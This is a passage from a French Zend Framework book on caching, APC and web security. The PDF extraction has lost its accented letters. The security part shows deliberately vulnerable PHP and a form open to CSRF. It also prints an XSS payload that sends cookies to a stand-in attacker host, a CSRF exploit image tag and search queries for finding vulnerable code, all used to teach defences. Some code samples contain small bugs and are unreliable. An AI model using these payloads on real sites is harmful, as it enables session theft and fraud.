mances du composant Zend_Cache ainsi que de la capacit de donnes
qui pourront tre mises en cache. Le choix dun support de cache peut
dpendre de plusieurs critres :
lenvironnement : le support de cache est parfois dpendant dune
extension qui nest pas toujours prsente dans tous les environne-
ments citons APC, Memcache ou ZendPlatform ;
la quantit de donnes mettre en cache : certains supports de cache
mettent par exemple les donnes en mmoire RAM, ce qui limite la
capacit du cache. Dautres privilgient le disque ou une base de
donnes ;
la vitesse de lecture et dcriture recherche : il vous faudra faire un com-
promis entre vitesse et capacit. Ceux qui ont peu de donnes
mettre en cache, mais beaucoup de trafic, ont par exemple tout
intrt mettre en cache mmoire.
Figure 102 Diagramme de classes de Zend_Cache
1
0


P
e
r
f
o
r
m
a
n
c
e
s
Groupe Eyrolles, 2008
189
Le tableau suivant donne une liste des supports de cache disponibles et
fonctionnels pour Zend_Cache, avec leur utilisation conseille.
Enfin, en fonction des donnes stocker en cache, nous utiliserons plu-
sieurs frontaux dont voici les principaux :
Zend_Cache_Core : frontal gnrique utilis par tous les autres fron-
taux. Cest partir de cette classe quil est galement possible de crer
son propre frontal (voir la section sur lutilisation avance) ;
Zend_Cache_Frontend_Output : permet de mettre en cache la sortie
standard. Utile surtout pour la mise en cache dans des templates ;
Zend_Cache_Frontend_Function : permet la mise en cache de retours
de fonctions ;
Zend_Cache_Frontend_Class : permet la mise en cache dobjets et de
mthodes statiques ;
Zend_Cache_Frontend_File : permet de mettre en cache des contenus
de fichiers avec une forte dpendance au fichier original. Utile par
exemple pour les fichiers de configuration. Fonctionne avec les
fichiers XML ou INI ;
Zend_Cache_Frontend_Page : mme principe que Output mais pour
des pages compltes.
Tableau 101 Liste des supports de cache de Zend_Cache
Nom du backend Utilisation conseille
Zend_Cache_Backend_File Les donnes mises en cache sont stockes dans des fichiers plats. Mthode conseille pour un maximum
de portabilit et de capacit pour les donnes mettre en cache.
Zend_Cache_Backend_SQLite SQLite est une base de donnes embarque. Elle offre de bonnes performances en lecture et ncessite
peu de maintenance. Mthode conseille pour stocker une grande quantit de donnes en cache avec de
frquents accs en lecture et peu en criture.
Zend_Cache_Backend_Memcached Mthode qui ncessite la prsence du dmon memcached, qui stocke les donnes en mmoire parta-
ge. Utile pour disposer dune mise en cache rapide qui peut tre partage entre plusieurs applications
et plusieurs serveurs (cluster).
Zend_Cache_Backend_Apc APC (Advanced PHP Cache) est la mthode de mise en cache la plus rapide. Elle ncessite la prsence
de lextension APC qui permet de disposer dun cache bas niveau et de la possibilit de mettre des don-
nes en mmoire. Utile pour mettre peu de donnes en cache mais avec un temps daccs optimal.
Attention aux clusters : les donnes sont mises en cache par serveur.
Zend_Cache_Backend_Xcache Xcache est un composant stable et efficace pour faire du cache mmoire. Cette mthode est similaire
APC.
Zend_Cache_Backend_ZendPlatform Utile pour ceux qui utilisent la Zend Platform, outil dvelopp par la socit Zend pour optimiser la main-
tenance dapplications. La Zend Platform gre elle-mme sa politique de cache. Les donnes sont stoc-
kes dans une base MySQL embarque, sous forme de fichiers, ou en mmoire.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
190
Utilisation de Zend_Cache dans lapplication
Afin de simplifier lutilisation de Zend_Cache dans lapplication, nous
avons dcid de crer une classe utilisateur permettant un accs rapide et
permanent Zend_Cache.
Comme pour presque tout composant du Zend Framework, il est pos-
sible dtendre Zend_Cache ou de simplifier son utilisation par la cration
dun composant utilisateur.
tendre concerne lajout ou la modification dun support de cache ou
dun frontal : pour cela il suffit de crer les classes adquates dans les
bibliothques utilisateur.
Implmentation de Zfbook_Cache
Cette simplification concerne la cration dune librairie, que nous allons
appeler Zfbook_Cache, qui effectue automatiquement le choix du support
de cache et son instanciation. Voici une proposition dimplmentation :
Simplification de laccs au cache
T Classe statique
Notre classe Zfbook_Cache est une classe dite
statique car elle nest pas destine tre instan-
cie. Elle propose simplement laccs des
mthodes statiques qui manipulent
Zend_Cache dans un environnement clos et
scuris.
<?php
/**
* Une classe qui simplifie lutilisation du cache
*/
class Zfbook_Cache
{
private static $_cache = null;
private static $_lifetime = 3600;
private static $_cacheDir = null;
private static function init()
{
if (self::$_cache === null) {
$frontendOptions = array(
'automatic_serialization' => true,
'lifetime' => self::$_lifetime);
$backendOptions = array(
'cache_dir', self::$_cacheDir);
try {
if (extension_loaded('APC')) {
self::$_cache = Zend_Cache::factory(
'Core', 'APC',
$frontendOptions, array());
} else {
self::$_cache = Zend_Cache::factory(
'Core', 'File',
$frontendOptions, $backendOptions);
}
1
0


P
e
r
f
o
r
m
a
n
c
e
s
Groupe Eyrolles, 2008
191
} catch (Zend_Cache_Exception $e) {
throw new Zfbook_Cache_Exception($e);
}
if (!self::$_cache) {
throw new Zfbook_Cache_Exception("No cache backend available.");
}
}
}
public static function setup(
$lifetime,
$filesCachePath = null)
{
if (self::$_cache !== null) {
throw new Zfbook_Cache_Exception("Cache already used.");
}
self::$_lifetime = (integer) $lifetime;
if ($filesCachePath !== null) {
self::$_cacheDir = realpath($filesCachePath);
}
}
public static function set($data, $key)
{
self::init();
return self::$_cache->save($data, $key);
}
public static function get($key)
{
self::init();
return self::$_cache->load($key);
}
public static function clean($key = null)
{
self::init();
if ($key === null) {
return self::$_cache->clean();
}
return self::$_cache->remove($key);
}

public static function getCacheInstance()
{
if (is_null(self::$_cache)) {
throw new Zfbook_Cache_Exception("Cache not set yet.");
}
return self::$_cache;
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
192
Ce code propose une classe statique facilitant laccs au cache. Les avan-
tages et inconvnients de cette mthodologie sont les suivants :
la classe de cache Zend_Cache nest charge que si le cache est utilis.
De plus, elle est maintenue pendant toute la dure de la requte, ce
qui permet une optimisation transparente des ressources ;
Zfbook_Cache est lunique classe utiliser pour faire appel au cache, et
ses mthodes statiques sont limites au ncessaire. Cela facilite nor-
mment lutilisation de ce composant ;
le choix du support de cache et lutilisation de Zend_Cache sont auto-
matiques et transparents ;
en revanche, cette simplification limite lutilisation du cache ce qui
est propos et ne permet pas de bnficier des autres frontaux exis-
tants.
Utilisation du cache dans lapplication
Une fois la classe Zfbook_Cache disponible, nous pouvons lutiliser
comme bon nous semble. Cela dit, il est important de se donner quel-
ques rgles pour viter toute confusion lorsque lapplication grossira...
vous de vous organiser. Voici quelques exemples dans notre application :
ReservationController::listAction()
Ce code correspond lappel de la liste des rservations que nous devons
afficher. Afin dviter un appel redondant en base pour rcuprer la liste
des rservations, nous faisons appel au cache. Dans cet algorithme, la
premire chose que nous faisons est dessayer de rcuprer la liste des
rservations dans le cache (stocke lors dun prcdent appel de la mme
fonction). Si ces informations ne sont pas en cache, alors il faut aller les
chercher en base et ne pas oublier de les mettre en cache pour les pro-
chains appels.
// Tentative de recherche des rservations depuis le cache
$reservations = Zfbook_Cache::get('reservations');
$this->view->cached = (boolean) $reservations;
// Les rservations ne sont pas dans le cache, il faut aller
// les chercher dans la base de donnes
if (!$reservations) {
$reservationListTable = new TReservationList();
$reservations = $reservationListTable
->fetchAll()->toArray();
// Insertion des rservations dans le cache
Zfbook_Cache::set($reservations, 'reservations');
}
1
0


P
e
r
f
o
r
m
a
n
c
e
s
Groupe Eyrolles, 2008
193
ReservationController::editAction() et deleteAction()
Dans notre politique de gestion du cache, il est trs important de mettre
jour les informations persistantes lorsque celles-ci changent. Ainsi,
nous viterons par exemple dafficher des informations supprimes ou
primes. Le rle de cette ligne qui apparat dans les actions de suppres-
sion, cration et mise jour des rservations est de vider du cache la liste
des rservations, afin quelle soit rgnre au prochain appel de
ReservationController::listAction().
Amlioration des performances des composants Zend
Nombre de composants du Zend Framework peuvent utiliser
Zend_Cache pour amliorer automatiquement leurs performances. Afin
de disposer de cette optimisation, il suffit de leur transmettre une ins-
tance de Zend_Cache_Core (ou tout autre frontal spcialis qui en hrite).
Cest ce que nous faisons pour certains composants dans le bootstrap
(index.php) de lapplication, comme lillustre lexemple suivant :
Attacher Zend_Cache dautres composants (bootstrap)
Attention, ici nous utilisons le mme cache pour tout le monde. Ainsi, le
TTL est le mme partout. Ceci ne drange gure notre application, mais
dans certains cas, on peut vouloir, par exemple, garder en cache les mta-
donnes de la base de donnes plus ou moins longtemps que les infor-
mations relatives la locale ou aux dates.
Il peut ds lors devenir intressant de cloner lobjet cache principal pour
en crer dautres dont le TTL sera modifi.
// suppression du cache pour mise jour
Zfbook_Cache::clean('reservations');
$cacheInstance = Zfbook_Cache::getCacheInstance();
//(...)
// on attache le composant cache Zend_Locale
Zend_Locale::setCache($cacheInstance);
//(...)
// activation du cache des mtadonnes des passerelles
Zend_Db_Table_Abstract::setDefaultMetadataCache($cacheInstance);
//(...)
$translate = new Zend_Translate(//(...));
// activation du cache pour Zend_Translate
$translate->setCache($cacheInstance);
//(...)
// activation du cache pour Zend_Date
Zend_Date::setOptions(array('cache' => $cacheInstance));
T TTL
Le TTL est le Time To Live. Cest la dure de vie
du cache au-del de laquelle il sera invalid. Ce
paramtre est trs complexe dterminer sur des
projets critiques, et un cart dune seconde peut
avoir un impact considrable. Heureusement, ce
nest pas le cas de notre application exemple.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
194
Notez ainsi que de nombreux objets de Zend Framework utilisent une
instance de Zend_Cache_Core pour sautogrer. Pour savoir ce que ces
composants mettent exactement en cache, et de quelle manire ils inte-
ragissent avec Zend_Cache_Core, il faut consulter les sources du fra-
mework ou encore le contenu du cache.
Zend_Memory : gestion de la mmoire
Le but de Zend_Memory est de pouvoir rguler lutilisation de la mmoire
alloue lorsquon travaille avec des chanes de caractres. Ce composant est
dpendant de Zend_Cache. Concrtement, certaines chanes peuvent
occuper beaucoup despace mmoire. Lorsque la limite de capacit fixe est
atteinte, Zend_Memory fait appel Zend_Cache pour le stockage de la chane.
Exemple pratique
Comme pour Zend_Cache, certains composants de Zend Framework
acceptent dagrger un objet Zend_Memory afin de sautogrer grce lui.
Cest le cas de Zend_Pdf, sur lequel vous trouverez plus de dtails au
chapitre 13.
Exemple avec Zfbook_Controller_ActionHelpers_ExportReservations_Pdf
Figure 103
Diagramme de classes de Zend_Memory
$backEnd = Zfbook_Cache::getCacheInstance()->getBackend();
$memory = new Zend_Memory_Manager($backEnd));
$pdf->setMemoryManager($memory);
$memory->setMemoryLimit(20000);
1
0


P
e
r
f
o
r
m
a
n
c
e
s
Groupe Eyrolles, 2008
195
Zend_Pdf va utiliser lobjet Zend_Memory pour y stocker la chane repr-
sentant les donnes binaires PDF. Dans notre exemple, lorsque ces don-
nes dpassent 20 Ko, alors elles sont stockes dans le cache pour librer
la mmoire que consomme lobjet Zend_Pdf ce moment-l. Cest astu-
cieux, mais cela ne fonctionne quavec les chanes de caractres.
Amliorer les performances gnrales de
lapplication
Voici quelques optimisations que lon peut apporter une application
conue avec Zend Framework afin damliorer ses performances. Ces
quelques astuces sont troitement en relation avec le chapitre 15 de cet
ouvrage (Utilisation avance des composants).
Une application Zend Framework dveloppe dans les rgles de lart
possde de nombreux fichiers, ainsi que de nombreuses classes qui font
lobjet de multiples instanciations chaque requte HTTP lance.
Lesprit du dveloppement Zend Framework fait un peu penser celui
dune application Java... Mais sur ce terrain, Java possde deux
avantages : la compilation et la persistance des objets entre les requtes
(EJB stateful). Une application Java sera lente charger, mais pourra
potentiellement tre trs rapide grce ces caractristiques. Cest sur ce
terrain-l que PHP pche et que nous nous devons doptimiser. En con-
naissance de cause, voici nos objectifs :
solliciter le moins possible linterprteur PHP, cest--dire rendre
persistant le code PHP compil ;
rduire au maximum les appels disques, notamment dus aux includes
de nombreux fichiers ;
rduire au maximum les appels la base de donnes et aux sources de
donnes, rle en grande partie tenu par le cache ;
simuler la persistance des objets qui sont longs charger ;
optimiser lenvironnement dexcution.
Les bons rflexes
Mettre en place un cache dopcode de manire rendre persistant le code
compil de PHP. Pour cela nous conseillons lextension APC qui est
aborde en annexe F.
Pour rduire les appels disques, une astuce consiste mettre le code le
plus utilis dans un gros fichier. Vous aurez peut-tre besoin dun profi-
leur pour dterminer quels fichiers vous devrez fusionner (le profileur
est abord au chapitre 15) .
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
196
Les appels disques peuvent tre sensiblement rduits en activant la
fonctionnalit dautoload. En effet, les fichiers sont alors chargs uni-
quement lorsque ncessaire, et lon est ainsi sr quun fichier ne sera
jamais charg si la classe quil contient nest pas utilise .
Les appels la base de donnes et aux sources de donnes sont opti-
miss par le cache, par un bon paramtrage du SGBD et par des requtes
optimises. L aussi, le profileur sera un outil de choix pour dtecter
les requtes lentes (voyez le chapitre 14).
La simulation de la persistance des objets longs charger se fait en
PHP par la srialisation... et la persistance en elle-mme peut tre
assure par le cache. Cela consiste tout simplement mettre ces
objets en cache, mais attention, les objets sont de toute faon rins-
tancis chaque requte, car il nexiste pas encore en PHP un moyen
davoir des objets stateful.
Lenvironnement dexcution aura lui aussi un impact important sur les
performances. Historiquement, PHP reste trs performant sous
Unix/Linux. Une bonne compilation et surtout un choix judicieux du
systme de fichiers pour des accs frquents de petits fichiers en lec-
ture (forte densit di-nuds [i-node], etc.) rendront service aux per-
formances de lapplication.
Notons galement que PHP dispose dun systme de stockage et de
packaging appel PHAR, qui permettra terme doptimiser les applica-
tions contenant de nombreux fichiers.
Compiler Zend Framework dans APC
Imaginez que vous allez ouvrir votre serveur, maintenant, pour un pas-
sage en production dune application Zend Framework. Ds son ouver-
ture, vous assisterez un dferlement de requtes, et il parat clair que
votre serveur ne sera pas en mesure de toutes les traiter. Nous vous pro-
posons ainsi, avant douvrir votre serveur sur lextrieur, de compiler
toutes les sources de Zend Framework dans APC et, accessoirement,
pourquoi pas toutes les sources de votre application.
Compiler Zend Framework en entier dans APC nest pas complexe.
Cest rapide, et cest dune efficacit remarquable pour les serveurs
forte charge. Voici un script le permettant :
RAPPEL APC
Cette astuce est directement lie APC et son
fonctionnement. Tout cela est dtaill en annexe F.
1
0


P
e
r
f
o
r
m
a
n
c
e
s
Groupe Eyrolles, 2008
197
Compiler Zend Framework dans APC
grand renfort de SPL, Standard PHP Library (dont vous trouverez des
informations en annexe C), ce script permet de charger la mmoire
APC avec tout le Zend Framework. La figure 10-4 dtaille les rsultats.
<?php
class MyFilterIterator extends FilterIterator
{
public function accept()
{
return (substr($this->current(), - 3) == 'php');
}
}
$rdi = new RecursiveDirectoryIterator('path/to/zf');
$rii = new RecursiveIteratorIterator($rdi,
RecursiveIteratorIterator::LEAVES_ONLY);
foreach (new MyFilterIterator($rii) as $file) {
apc_compile_file($file);
}
Figure 104 Zend Framework entirement compil dans APC
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
198
Nous pouvons noter qu lheure actuelle, la compilation de toute la
source de Zend Framework prend quelques secondes (ceci est trs relatif
en fonction du matriel), et occupe environ 40 Mo de mmoire RAM.
Selon le principe du cache dopcode, tous les futurs appels une classe
Zend Framework se feront directement depuis la mmoire, et non plus
depuis le disque. Le gain en performance est souvent norme. Ceci peut
dailleurs se reprer grce aux graphes quAPC fournit. Il est ainsi pos-
sible de savoir quand le cache a sauv une opration de chargement grce
aux informations cache hit et cache miss (voir la figure 10-5).
Figure 105 Statistiques hits et misses de notre application Zend Framework
1
0


P
e
r
f
o
r
m
a
n
c
e
s
Groupe Eyrolles, 2008
199
En rsum
Nous venons de voir comment Zend Framework rpond aux problma-
tiques de performance que peut connatre une application web dans sa
vie. Zend_Cache propose une panoplie doptions, et chacun y trouvera
son compte. Beaucoup de composants du Zend Framework acceptent
dailleurs un tel objet afin doptimiser leur impact sur les performances.
videmment, ce sujet est bien plus vaste que Zend Framework seul. La
connaissance et la matrise du serveur web, du rseau et du protocole
HTTP apportent des plus non ngligeables dans la gestion de la monte
en charge.
Groupe Eyrolles, 2008
chapitre 11
Groupe Eyrolles, 2008
Scurit
La scurit est un problme complexe et permanent.
Elle parat primordiale en thorie, mais non prioritaire
en pratique. La politique de scurit dune application peut
devenir un sujet mtaphysique entre techniciens et dcideurs,
do limportance dy passer un minimum de temps
pour un maximum de fiabilit.
SOMMAIRE
BValider et filtrer des donnes
BComprendre les enjeux
de la scurit
BComprendre les rgles
de scurit essentielles
COMPOSANTS
BZend_Validate
BZend_Filter
BZend_Session
MOTS-CLS
Bscurit
Bvalidation
Bfiltrage
BXSS
Binjection
Bsession
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
202
Ce chapitre explique les grands axes de la scurit dune application web.
Pour cela, nous prsenterons diffrents types dattaques classiques et la
manire de sen protger avec des composants Zend Framework relatifs
la scurit, tels que Zend_Validate. Nous verrons aussi limportance
des cookies et des sessions, ainsi que la manire de les scuriser.
En quoi consiste la scurit sur le Web ?
La scurit doit faire partie intgrante du projet web. Les rgles sont peu
nombreuses et trs simples ( comprendre). Il sagit de :
valider tous les points dentre de lapplication ;
protger systmatiquement par des caractres dchappement toute
donne afficher provenant initialement de lextrieur ;
matriser lapplication en tant que bote noire recevant des infor-
mations en entre et renvoyant des informations en sortie.
Il est pour cela essentiel de connatre le fonctionnement du Web en
gnral, en partant de la requte DNS (Domain Name System) jusquau
traitement de linformation sur la machine hte serveur. La connaissance
du protocole HTTP est indispensable pour comprendre rellement le
fonctionnement du Web et les concepts de la scurit.
Il faut aussi se dire quune personne malveillante peut attaquer lapplica-
tion tout moment. Il convient donc de se mettre sa place et dessayer
de pntrer sa propre application, ceci tout en la construisant.
Aussi, des outils automatiss daudit de code comme PHPCodeSniffer
sont utiliss pour vrifier que le code crit ne manque pas aux rgles l-
mentaires de scurit.
Un pirate informatique tentera de sinfiltrer par les portes les plus con-
nues, ainsi il nest pas ncessaire dtre paranoaque pendant le dvelop-
pement, mais simplement dtre averti.
Google est le meilleur ami du pirate, en particulier Google Code Search.
Des requtes comme :
lang:php (echo|print)\s\$_(GET|POST|COOKIE|REQUEST|SERVER)
lang:php query\(.*\$_(GET|POST|COOKIE|REQUEST).*\)
lang:php (include|include_once|require|require_once).*\
X $_(GET|POST|COOKIE|REQUEST)
laissent apparatre un nombre consquent dapplications vulnrables.
T Web et Internet
Internet, cest lInternational Network : un
rseau gant dordinateurs (un ensemble de
rseaux, plutt). Le Web est une application
dInternet qui englobe tout ce qui a trait laffi-
chage de pages dinformations dans un navigateur.
1
1

c
u
r
i
t

Groupe Eyrolles, 2008


203
Rgles de scurit lmentaires
Lapplication web doit tre vue comme une bote noire. Des informa-
tions entrent et dautres en ressortent. Parmi elles, certaines sont desti-
nes tre affiches sur lcran du client.
Il est trs important de scruter, analyser, valider ou rejeter toutes les
informations qui entrent dans lapplication. Celles-ci proviennent majo-
ritairement des tableaux superglobaux. Ainsi, $_GET, $_POST, a fortiori
$_REQUEST, $_COOKIE ou encore $_FILES peuvent tre manipuls par le
client, et donc par un pirate potentiel. Dans une moindre mesure, il faut
aussi surveiller $_SERVER, car certains de ses paramtres sont modifiables,
comme PHP_SELF, HTTP_HOST ou HTTP_REFERER.
linverse, votre application doit systmatiquement veiller ce quelle
expdie au client, notamment ce qui est destin laffichage. Le client
web est dans 99 % des cas un navigateur web, et dans 90 % des cas (en
gros), JavaScript y est activ.
JavaScript est une technologie cliente puissante, qui permet damliorer
sensiblement linterface propose par lapplication web ses clients (aux
utilisateurs), mais cest double tranchant. Cette technologie peut
accder aux cookies du navigateur, modifier le contenu de sa page sans
que lutilisateur ne sen aperoive, et mme transformer le poste client en
proxy, en ouvrant des connexions rseau vers lextrieur, voire lintrieur
(intranet), mettant en danger le client et tout son rseau interne.
Ainsi, une mauvaise validation de la sortie (ce qui sera affich lcran)
peut mettre lutilisateur en danger en permettant lexcution dun code
JavaScript dans son navigateur. Ceci combin aux failles de scurit de
certains navigateurs, et le pire peut trs vite arriver : vol de donnes,
escroquerie par hameonnage (phishing), usurpation didentit, serveur
zombie (servant de relais une attaque plus globale), etc.
Solutions de scurit de Zend Framework
Les validateurs
Les validateurs sont des composants permettant de valider syntaxique-
ment des donnes. En gnral, on ajoute les validateurs aux composants
Zend_Form_Elements, afin que ceux-ci soient tous scruts et valids lors
de lenvoi du formulaire. Il existe de nombreux validateurs dans Zend
Framework. Ils sont reprsents par un espace Zend_Validate_* tandis
que la classe Zend_Validate sert les chaner. Les validateurs proposent
VOIR AUSSI Zend_Form
Le chapitre 13 introduit le composant
Zend_Form qui est capable de se coupler avec
Zend_Validate et Zend_Filter. En effet,
la gestion de formulaires est directement con-
cerne par les oprations de validation et de fil-
trage ncessaires la scurit des donnes
entrantes et sortantes.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
204
une mthode isValid() qui retourne un boolen getMessages(), qui
retourne les messages derreur ventuels, et getErrors(), qui retourne un
code derreur.
Exemple simple dutilisation de Zend_Validate
Les filtres
Les filtres agissent comme les validateurs, lexception que ceux-ci vont
modifier la donne dentre, au lieu de simplement retourner un boo-
len.
Exemple simple dutilisation de Zend_Filter
Les attaques courantes
Depuis quelques annes, la scurit est devenue un enjeu primordial
pour les socits, en particulier pour les entreprises qui grent de largent
ou des donnes confidentielles, comme les banques, les socits de
crdit, les assurances, etc.
Ainsi, des socits spcialises dans la scurit des applications web ont
vu le jour et leurs rapports sont accablants : presque huit applications sur
dix dployes sur le Web possdent au moins une faille de scurit plus
ou moins importante.
<?php
$chaine = new Zend_Validate();
$chaine->addValidator(new Zend_Validate_Int())
->addValidator(new Zend_Validate_GreaterThan(8));
if ($chain->isValid($data)) {
// la donne est valide : cest un entier suprieur 8
} else {
// itration sur les messages derreur
foreach ($chaine->getMessages() as $message) {
echo "$message\n";
}
}
$chaine = new Zend_Filter();
$chaine->addFilter(new Zend_Filter_Alpha())
->addFilter(new Zend_Filter_noTags());
$message = $chaine->filter($_POST['message']);
// $message ne contient plus de chiffres, ni de tags
ALTERNATIVE Filtres et validateurs
La documentation de Zend Framework vous ren-
seignera sur tous les autres types de filtres et vali-
dateurs disponibles. Il en existe pour toutes sortes
de donnes : adresses mail, chanes, entiers, etc.
1
1

c
u
r
i
t

Groupe Eyrolles, 2008


205
Notre ouvrage na pas pour vocation daborder la scurit en dtail, mais
nous avons jug ce chapitre ncessaire. Le lecteur pourra par la suite
interroger son moteur de recherche favori, la recherche de termes
comme XSS, CSRF, injection SQL, HTTP Response Splitting (spara-
tion de rponses HTTP), cookie stealing (vol de cookie), et constater de
lui-mme lampleur de ce phnomne qui ne cesse de crotre.
Nous allons ici prsenter succinctement quelques failles de scurit les plus
courantes et voir comment Zend Framework peut aider sen protger.
Le Cross Site Scripting (XSS)
Le Cross Site Scripting consiste excuter arbitrairement du code Java-
Script dans le navigateur dune victime. Cela permet entre autres de :
changer la destination des formulaires de la page ;
accder aux cookies, et donc aux donnes prives de la victime ;
ouvrir une connexion vers un site en se faisant passer pour la victime ;
modifier le contenu de la page, en totalit ou en partie ;
rediriger lutilisateur ;
avec certaines versions du navigateur Internet Explorer, il est possible
daccder au disque dur de la victime et de la voler massivement.
Le plus gros danger vient sans doute du fait que la victime, dans la plu-
part des cas, ne saperoit strictement de rien.
RFRENCE Scurit PHP
Pour tout savoir sur la scurisation dune applica-
tion en PHP 5 et MySQL, consultez louvrage
suivant :
R D. Seguy, P. Gamache, Scurit PHP 5 et
MySQL, Eyrolles, 2007
Figure 111
Scnario dune attaque de type XSS/CSRF
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
206
Attaque XSS
Un code vulnrable XSS
Ce code est exploit si le pirate introduit, dans la variable name, la valeur
<script>window.open("http://www.hacking-site.com/collect-
cookie.php?cookie="%2Bdocument.cookie)</script>.
Le code final devient alors :
Immdiatement, les cookies de la victime pour ce domaine sont vols et
redirigs vers le site du pirate (http://www.hacking-site.com, pour lexemple),
qui va les enregistrer et pouvoir se faire passer pour la victime, ou lui
voler des informations personnelles, comme un numro de carte de
crdit par exemple.
Les protections
Rptons le : il faut protger, avec des caractres dchappement, toutes
les chanes provenant de lextrieur de lapplication et destination de
laffichage dans le navigateur, de manire viter lintroduction de code
JavaScript. Pour ce faire, le composant Zend_View, responsable de laffi-
chage des donnes (la vue), propose une mthode escape(). Son utilisa-
tion est trs simple :
application/views/scripts/welcome.phtml
Mme si notre application ne demande apparemment pas lutilisateur
de senregistrer, nous prenons quand mme la peine de protger son
identifiant (login) avec cette mthode. Si, plus tard, nous ajoutions cette
fonctionnalit denregistrement, un utilisateur malveillant pourrait alors
<html>
<title>Hello!</title>
Coucou <?php echo $_GET['name'] ?><br>
Bienvenue chez nous !
...
</html>
<html>
<title>Hello!</title>
Coucou <script>window.open("http://www.hacking-site.com/
collect-cookie.php?cookie="%2Bdocument.cookie)</script><br>
Bienvenue chez nous !
...
</html>
<?php echo $this->translate("Bienvenue");
echo $this->escape($this->login); ?>
1
1

c
u
r
i
t

Groupe Eyrolles, 2008


207
tenter dinsrer du JavaScript dans le champ demandant son login, et
celui-ci serait alors affich de manire brute lcran.
La mthode escape() de la vue utilise par dfaut la fonction PHP
htmlspecialchars(). Ainsi, afin dviter dventuelles failles concernant
les jeux de caractres, il faut spcifier la vue le jeu de caractres utilis
pour laffichage, car par dfaut, cest iso-8859-1 qui sera utilis.
Notre application utilisant UTF-8, il faut ainsi crire :
Passage du jeu de caractres dchappement la vue index.php
Ainsi, la fonction dchappement utilisera ce jeu de caractres. Pour
changer la fonction dchappement, il faut utiliser setEscape() sur la vue.
En plus de protger les chanes affiches par une fonction dchappement,
il convient de vrifier que les chanes dentre ne contiennent pas de carac-
tres suspects. Ainsi, si nous demandons aux utilisateurs pour quel usage il
veulent rserver une salle, il est fort peu probable quils aient besoin des
caractres < ou > pour donner leur rponse. De mme, il y a peu de
chances que dcrire lusage dune salle ncessite plus de 25 caractres.
Ces suggestions sont simples mettre en place et sont la moindre des
choses que vous puissiez faire pour la scurit : cadrez les utilisateurs et
ne les laissez pas faire ce quils veulent de votre application (et en parti-
culier de vos formulaires).
Scurisation du formulaire Zfbook/form/reservation.php
Le Cross Site Request Forgery (CSRF)
Le Cross Site Request Forgery (CSRF) ou sea surf consiste faire excuter
une requte HTTP par une victime, son insu. Cette requte va alors
dclencher un traitement sur un site quelconque, action qui ne devrait en
thorie tre dclenche quaprs un clic, ou une procdure didentification.
$view = new Zend_View();
$view->setEncoding('UTF-8');
URL Failles XSS
Un bon point de dpart pour comprendre XSS
(mais aussi dautres types de failles) est le site de
Chris Shiflett. Vous trouverez un article relatif aux
failles avec exploitation du jeu de caractres
lURL suivante :
Bhttp://shiflett.org/blog/2005/dec/
google-xss-example
Si vous ne vous sentez pas trs laise avec la
scurit web, nous vous conseillons de fouiller le
site et le blog de Chris en profondeur.
SAVOIR Filtres de vue
Utiliser setEscape() sur toutes les variables
peut vite devenir pnible. Heureusement,
Zend_View possde un mcanisme de filtres
permettant dautomatiser cette tche, ce que nous
abordons dans les chapitres 6 et 7 (MVC avanc).
$usage = new Zend_Form_Element_Text('usage');
$usageValidators = array(new Zend_Validate_StringLength(0, 25));
$form->addElement($usage);
REMARQUE CSRF + XSS
Le couple dattaques CSRF/XSS est particulire-
ment dtonnant, et peut mettre mal une applica-
tion en quelques heures, en volant de surcrot
massivement tous ses utilisateurs. MySpace a t
victime de telles failles en octobre 2006. Pour plus
dinformations, consultez :
Bhttp://en.wikipedia.org/wiki/Samy_(XSS)
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
208
Attaque CSRF
Code dun formulaire vulnrable
Pour exploiter un tel formulaire, un pirate va par exemple crer un profil
sur un forum extrmement frquent et va tenter daffecter limage sui-
vante son profil :
Code dexploitation
Le navigateur dun visiteur de ce forum va donc envoyer une requte
contrefaite (forged), et dclencher un transfert dargent, son insu,
depuis un compte choisi par le pirate, vers un compte choisi par le pirate,
et dune somme choisie, elle aussi, par le pirate.
En effet, lorsque le parseur HTML dun navigateur rencontre certaines
balises ou certains attributs, tels que href=, il effectue alors une autre
requte HTTP, comme si le client avait alors entr lURL du lien href=
dans son navigateur.
Une premire scurit possible consiste passer le formulaire de la
mthode GET la mthode POST. Malheureusement, JavaScript est
capable denvoyer des formulaires POST, et ainsi le pirate naura qu
piger une victime vers une page contenant un JavaScript (XSS) qui cre
un formulaire et lenvoie immdiatement. Il pourra mme crer ce for-
mulaire dans un cadre HTML (frame) invisible.
Le CSRF est une faille qui exploite la confiance qua un site envers ses
utilisateurs. Dites-vous bien que, si vous recevez une requte HTTP sur
votre serveur, rien nindique que celle-ci provient du clic volontaire dun
gentil utilisateur derrire son ordinateur , de mme que rien nindique
que les variables quelle contient sont lgitimes. Il peut tout fait sagir
dun robot (une machine quelconque sur le rseau), voire dun utilisateur
pig par XSS et ne se rendant compte de rien. Lanalyse des logs du ser-
veur web via des outils spcialiss est trs utile pour dtecter les CSRF.
<form method="get" action="transfert.php">
<input type="hidden" name="from" value="12345">
Transfert dargent depuis le compte 12345 vers :
<select name="to">
<option value="98765">Compte courant n=1</option>
<option value="43210">Compte courant n=2</option>
</select>
Montant : <input type="text" name="montant">
<input type="submit">
</form>
<img src="banktransfert.com/transfert.php?from=88888&to=11111&montant=9999">
1
1

c
u
r
i
t

